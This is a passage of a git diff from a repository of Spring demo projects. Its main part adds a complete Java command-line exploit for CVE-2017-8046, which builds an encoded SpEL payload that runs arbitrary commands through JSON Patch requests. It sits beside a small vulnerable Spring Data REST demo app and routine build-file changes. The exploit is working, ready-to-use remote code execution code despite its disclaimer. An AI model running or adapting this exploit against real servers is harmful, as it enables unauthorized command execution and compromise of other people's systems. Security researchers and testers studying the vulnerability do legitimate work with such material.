+package com.pavelsklenar.spring.exploit.example;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.URI;
+import java.net.URISyntaxException;
+
+import org.apache.http.HttpResponse;
+import org.apache.http.client.HttpClient;
+import org.apache.http.client.methods.HttpPatch;
+import org.apache.http.entity.StringEntity;
+import org.apache.http.impl.client.HttpClientBuilder;
+
+/**
+ * This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
+ * This software is written to have as less external dependencies as possible.
+ * DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
+ * use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
+ * I am NOT responsible for any damages caused or any crimes committed by using this tool.
+ * ..................
+ * . CVE-ID ........: CVE-2017-8046
+ * . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
+ * . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
+ * .................. versions prior to 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
+ * .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
+ * .................. Java code.
+ * ..................
+ *
+ * @author Antonio Francesco Sardella
+ */
+public class SpringBreakCve20178046 {
+
+ /**
+ * Version string.
+ */
+ private static final String VERSION = "v1.0 (2018-03-10)";
+
+ /**
+ * The JSON Patch object.
+ */
+ private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"replace\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";
+
+ /**
+ * This is a way to bypass the split and 'replace'
+ * logic performed by the framework on slashes.
+ */
+ private static String SLASH = "T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))";
+
+ /**
+ * Used to encode chars.
+ */
+ private static String CHAR_ENCODING = "T(java.lang.Character).toChars(%d)[0]";
+
+ /**
+ * Malicious payload.
+ */
+ private static String PAYLOAD;
+
+ /**
+ * Malicious payload initialization.
+ */
+ static {
+ PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";
+ PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";
+ PAYLOAD += "(";
+ PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";
+ PAYLOAD += "?";
+ PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";
+ PAYLOAD += ":";
+ PAYLOAD += "\\\"\\\"";
+ PAYLOAD += ")+";
+ PAYLOAD += "%s"; // The encoded command will be placed here.
+ PAYLOAD += ").getInputStream()";
+ PAYLOAD += ",";
+ PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";
+ PAYLOAD += ".getResponse().getOutputStream()";
+ PAYLOAD += ").x";
+ }
+
+ /**
+ * Error cause string that can be used to "clean the response."
+ */
+ private static String ERROR_CAUSE = "{\"cause";
+
+ /**
+ * The target URL.
+ */
+ private URI url;
+
+ /**
+ * The command that will be executed on the remote machine.
+ */
+ private String command;
+
+ /**
+ * Cookies that will be passed.
+ */
+ private String cookies;
+
+ /**
+ * Flag used to remove error messages in output due to
+ * the usage of the exploit. It could hide error messages
+ * if the request fails for other reasons.
+ */
+ private boolean cleanResponse;
+
+ /**
+ * Verbosity flag.
+ */
+ private boolean verbose;
+
+ /**
+ * Default constructor.
+ */
+ public SpringBreakCve20178046() {
+ this.verbose = false;
+ this.cleanResponse = false;
+ }
+
+ /**
+ * Performs the exploit.
+ *
+ * @throws IOException
+ * If something bad occurs during HTTP GET.
+ */
+ public void exploit() throws IOException {
+ checkInput();
+ printInput();
+ String payload = preparePayload();
+ String response = httpPatch(payload);
+ printOutput(response);
+ }
+
+ /**
+ * Checks the input.
+ */
+ private void checkInput() {
+ if (this.url == null) {
+ throw new IllegalArgumentException("URL must be passed.");
+ }
+
+ if (isEmpty(this.command)) {
+ throw new IllegalArgumentException("Command must be passed.");
+ }
+ }
+
+ /**
+ * Prints input if verbose flag is true.
+ */
+ private void printInput() {
+ if (isVerbose()) {
+ System.out.println("[*] Target URL ........: " + this.url);
+ System.out.println("[*] Command ...........: " + this.command);
+ System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
+ }
+ }
+
+ /**
+ * Prepares the payload.
+ *
+ * @return The malicious payload that will be injected.
+ */
+ private String preparePayload() {
+ System.out.println("[*] Preparing payload.");
+
+ String command = encodingCommand(); // Encoding inserted command.
+ String payload = String.format(PAYLOAD, command); // Preparing Java payload.
+ payload = String.format(JSON_PATCH_OBJECT, payload); // Placing payload into JSON Patch object.
+
+ if (isVerbose()) {
+ System.out.println("[*] Payload ...........: " + payload);
+ }
+
+ return payload;
+ }
+
+ /**
+ * Encodes the inserted command.
+ * PROS: No problems in interpreting things.
+ * CONS: Payload too long.
+ *
+ * @return The encoded command.
+ */
+ private String encodingCommand() {
+ StringBuffer encodedCommand = new StringBuffer("T(java.lang.String).valueOf(new char[]{");
+
+ int commandLength = this.command.length();
+ for (int i = 0; i < commandLength; i++) {
+ encodedCommand.append(String.format(CHAR_ENCODING, (int) this.command.charAt(i)));
+ if (i + 1 < commandLength) {
+ encodedCommand.append(",");
+ }
+ }
+
+ encodedCommand.append("})");
+
+ if (isVerbose()) {
+ System.out.println("[*] Encoded command ...: " + encodedCommand.toString());
+ }
+
+ return encodedCommand.toString();
+ }
+
+ /**
+ * HTTP PATCH operation on the target passing the malicious payload.
+ *
+ * @param payload
+ * The malicious payload.
+ * @return The response as a string.
+ * @throws IOException
+ * If something bad occurs during HTTP GET.
+ */
+ private String httpPatch(String payload) throws IOException {
+ System.out.println("[*] Sending payload.");
+
+ // Preparing PATCH operation.
+ HttpClient client = HttpClientBuilder.create().build();
+ HttpPatch patch = new HttpPatch(this.url);
+ patch.setHeader("User-Agent", "Mozilla/5.0");
+ patch.setHeader("Accept-Language", "en-US,en;q=0.5");
+ patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
+ if (!isEmpty(this.cookies)) {
+ patch.setHeader("Cookie", this.cookies);
+ }
+ System.out.println(new StringEntity(payload));
+ patch.setEntity(new StringEntity(payload));
+
+ // Response string.
+ StringBuffer response = new StringBuffer();
+
+ // Executing PATCH operation.
+ HttpResponse httpResponse = client.execute(patch);
+ if (httpResponse != null) {
+
+ // Reading response code.
+ if (httpResponse.getStatusLine() != null) {
+ int responseCode = httpResponse.getStatusLine().getStatusCode();
+ System.out.println("[*] HTTP " + responseCode);
+ } else {
+ System.out.println("[!] HTTP response code can't be read.");
+ }
+
+ // Reading response content.
+ if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {
+ BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
+ String inputLine;
+
+ while ((inputLine = in.readLine()) != null) {
+ response.append(inputLine);
+ response.append(System.getProperty("line.separator"));
+ }
+ in.close();
+ } else {
+ System.out.println("[!] HTTP response content can't be read.");
+ }
+
+ } else {
+ System.out.println("[!] HTTP response is null.");
+ }
+
+ return response.toString();
+ }
+
+ /**
+ * Prints output.
+ *
+ * @param response
+ * Response that will be printed.
+ */
+ private void printOutput(String response) {
+ if (!isEmpty(response)) {
+ System.out.println("[*] vvv Response vvv");
+
+ // Cleaning response (if possible).
+ if (isCleanResponse() && response.contains(ERROR_CAUSE)) {
+ String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];
+ System.out.println(cleanedResponse);
+ } else {
+ System.out.println(response);
+ }
+
+ System.out.println("[*] ^^^ ======== ^^^");
+ }
+ }
+
+ /**
+ * Checks if an input string is null/empty or not.
+ *
+ * @param input
+ * The input string to check.
+ * @return True if the string is null or empty, false otherwise.
+ */
+ private boolean isEmpty(String input) {
+ boolean isEmpty;
+
+ if (input == null || input.trim().length() < 1) {
+ isEmpty = true;
+ } else {
+ isEmpty = false;
+ }
+
+ return isEmpty;
+ }
+
+ /* Getters and setters. */
+
+ public boolean isVerbose() {
+ return verbose;
+ }
+
+ public void setVerbose(boolean verbose) {
+ this.verbose = verbose;
+ }
+
+ public void setUrl(String url) throws URISyntaxException {
+ if (isEmpty(url)) {
+ throw new IllegalArgumentException("URL must be not null and not empty.");
+ }
+
+ this.url = new URI(url.trim());
+ }
+
+ public void setCommand(String command) {
+ if (isEmpty(command)) {
+ throw new IllegalArgumentException("Command must be not null and not empty.");
+ }
+
+ this.command = command.trim();
+ }
+
+ public void setCookies(String cookies) {
+ if (cookies != null) {
+ cookies = cookies.trim();
+ }
+
+ this.cookies = cookies;
+ }
+
+ public boolean isCleanResponse() {
+ return cleanResponse;
+ }
+
+ public void setCleanResponse(boolean cleanResponse) {
+ this.cleanResponse = cleanResponse;
+ }
+
+ /**
+ * Shows the program help.
+ */
+ public static final void help() {
+ System.out.println("Usage:");
+ System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");
+ System.out.println("Description:");
+ System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
+ System.out.println("Options:");
+ System.out.println(" -h, --help");
+ System.out.println(" Prints this help and exits.");
+ System.out.println(" -u, --url [target_URL]");
+ System.out.println(" The target URL where the exploit will be performed.");
+ System.out.println(" You have to choose an existent resource.");
+ System.out.println(" -cmd, --command [command_to_execute]");
+ System.out.println(" The command that will be executed on the remote machine.");
+ System.out.println(" --cookies [cookies]");
+ System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies.");
+ System.out.println(" --clean");
+ System.out.println(" Optional. Removes error messages in output due to the usage of the");
+ System.out.println(" exploit. It could hide error messages if the request fails for other reasons.");
+ System.out.println(" -v, --verbose");
+ System.out.println(" Optional. Increase verbosity.");
+ }
+
+ /**
+ * Main method.
+ *
+ * @param args
+ * Input arguments
+ */
+ public static void main(String[] args) {
+ try {
+ System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
+ SpringBreakCve20178046 o = new SpringBreakCve20178046();
+
+ if (args.length > 0) {
+ for (int i = 0; i < args.length; i++) {
+
+ String p = args[i];
+
+ if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
+ SpringBreakCve20178046.help();
+ return;
+ } else if ("-u".equals(p) || "--url".equals(p)) {
+
+ if (i + 1 > args.length - 1) {
+ throw new IllegalArgumentException("URL must be passed.");
+ }
+ o.setUrl(args[++i]);
+
+ } else if ("-cmd".equals(p) || "--command".equals(p)) {
+
+ if (i + 1 > args.length - 1) {
+ throw new IllegalArgumentException("Command must be passed.");
+ }
+ o.setCommand(args[++i]);
+
+ } else if ("--cookies".equals(p)) {
+
+ if (i + 1 > args.length - 1) {
+ throw new IllegalArgumentException("Cookies must be passed, if specified.");
+ }
+ o.setCookies(args[++i]);
+
+ } else if ("--clean".equals(p)) {
+ o.setCleanResponse(true);
+ } else if ("-v".equals(p) || "--verbose".equals(p)) {
+ o.setVerbose(true);
+ }
+
+ }
+
+ // Performing the exploit.
+ o.exploit();
+
+ } else { // Wrong number of arguments.
+ SpringBreakCve20178046.help();
+ return;
+ }
+
+ } catch (URISyntaxException use) {
+ System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());
+ } catch (IllegalArgumentException iae) {
+ System.out.println("[!] Input error (illegal argument): " + iae.getMessage());
+ } catch (Exception e) {
+ System.out.println("[!] Unexpected exception: " + e.getMessage());
+ e.printStackTrace();
+ }
+ }
+
+}
diff --git a/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/SpringRestDataExploitExampleApplication.java b/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/SpringRestDataExploitExampleApplication.java
new file mode 100644
index 0000000..be856d8
--- /dev/null
+++ b/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/SpringRestDataExploitExampleApplication.java
@@ -0,0 +1,12 @@
+package com.pavelsklenar.spring.exploit.example;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class SpringRestDataExploitExampleApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(SpringRestDataExploitExampleApplication.class, args);
+ }
+}
diff --git a/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/UserRepository.java b/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/UserRepository.java
new file mode 100644
index 0000000..4dd6772
--- /dev/null
+++ b/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/UserRepository.java
@@ -0,0 +1,12 @@
+package com.pavelsklenar.spring.exploit.example;
+
+import java.util.List;
+
+import org.springframework.data.repository.PagingAndSortingRepository;
+import org.springframework.data.repository.query.Param;
+import org.springframework.data.rest.core.annotation.RepositoryRestResource;
+
+@RepositoryRestResource(collectionResourceRel = "users", path = "users")
+public interface UserRepository extends PagingAndSortingRepository {
+ List findByName(@Param("name") String name);
+}
diff --git a/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/WebsiteUser.java b/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/WebsiteUser.java
new file mode 100644
index 0000000..94a71ab
--- /dev/null
+++ b/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/WebsiteUser.java
@@ -0,0 +1,19 @@
+package com.pavelsklenar.spring.exploit.example;
+
+import javax.persistence.Entity;
+import javax.persistence.GeneratedValue;
+import javax.persistence.GenerationType;
+import javax.persistence.Id;
+
+@Entity
+public class WebsiteUser {
+
+ @Id
+ @GeneratedValue(strategy = GenerationType.AUTO)
+ private long id;
+
+ private String name;
+ private String email;
+
+ // standard getters and setters
+}
\ No newline at end of file
diff --git a/spring-rest-data-exploit/src/main/resources/application.properties b/spring-rest-data-exploit/src/main/resources/application.properties
new file mode 100644
index 0000000..e69de29
diff --git a/spring-rest-data-exploit/src/test/java/com/pavelsklenar/spring/exploit/example/SpringRestDataExploitExampleApplicationTests.java b/spring-rest-data-exploit/src/test/java/com/pavelsklenar/spring/exploit/example/SpringRestDataExploitExampleApplicationTests.java
new file mode 100644
index 0000000..13312ae
--- /dev/null
+++ b/spring-rest-data-exploit/src/test/java/com/pavelsklenar/spring/exploit/example/SpringRestDataExploitExampleApplicationTests.java
@@ -0,0 +1,16 @@
+package com.pavelsklenar.spring.exploit.example;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.test.context.junit4.SpringRunner;
+
+@RunWith(SpringRunner.class)
+@SpringBootTest
+public class SpringRestDataExploitExampleApplicationTests {
+
+ @Test
+ public void contextLoads() {
+ }
+
+}
diff --git a/spring-security-radius-login/.mvn/wrapper/maven-wrapper.jar b/spring-security-radius-login/.mvn/wrapper/maven-wrapper.jar
new file mode 100644
index 0000000..9cc84ea
Binary files /dev/null and b/spring-security-radius-login/.mvn/wrapper/maven-wrapper.jar differ
diff --git a/spring-security-radius-login/.mvn/wrapper/maven-wrapper.properties b/spring-security-radius-login/.mvn/wrapper/maven-wrapper.properties
new file mode 100644
index 0000000..9dda3b6
--- /dev/null
+++ b/spring-security-radius-login/.mvn/wrapper/maven-wrapper.properties
@@ -0,0 +1 @@
+distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.2/apache-maven-3.5.2-bin.zip
diff --git a/spring-security-radius-login/src/main/java/META-INF/MANIFEST.MF b/spring-security-radius-login/src/main/java/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..82368ca
--- /dev/null
+++ b/spring-security-radius-login/src/main/java/META-INF/MANIFEST.MF
@@ -0,0 +1,3 @@
+Manifest-Version: 1.0
+Main-Class: com.pavelsklenar.radiuslogin.RadiusLoginApplication
+
diff --git a/spring-sftp-download-demo/pom.xml b/spring-sftp-download-demo/pom.xml
index 80e6fc8..c0c5c14 100644
--- a/spring-sftp-download-demo/pom.xml
+++ b/spring-sftp-download-demo/pom.xml
@@ -45,7 +45,7 @@
commons-codec
commons-codec
- 1.10
+ 1.15
test
diff --git a/spring-sftp-upload-demo/pom.xml b/spring-sftp-upload-demo/pom.xml
index 68fb821..e5e10ca 100644
--- a/spring-sftp-upload-demo/pom.xml
+++ b/spring-sftp-upload-demo/pom.xml
@@ -45,7 +45,7 @@
commons-codec
commons-codec
- 1.10
+ 1.15
test
diff --git a/spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.jar b/spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.jar
new file mode 100644
index 0000000..9cc84ea
Binary files /dev/null and b/spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.jar differ
diff --git a/spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.properties b/spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.properties
new file mode 100644
index 0000000..6c8c0e0
--- /dev/null
+++ b/spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.properties
@@ -0,0 +1 @@
+distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip
diff --git a/spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.jar b/spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.jar
new file mode 100644
index 0000000..9cc84ea
Binary files /dev/null and b/spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.jar differ
diff --git a/spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.properties b/spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.properties
new file mode 100644
index 0000000..6c8c0e0
--- /dev/null
+++ b/spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.properties
@@ -0,0 +1 @@
+distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip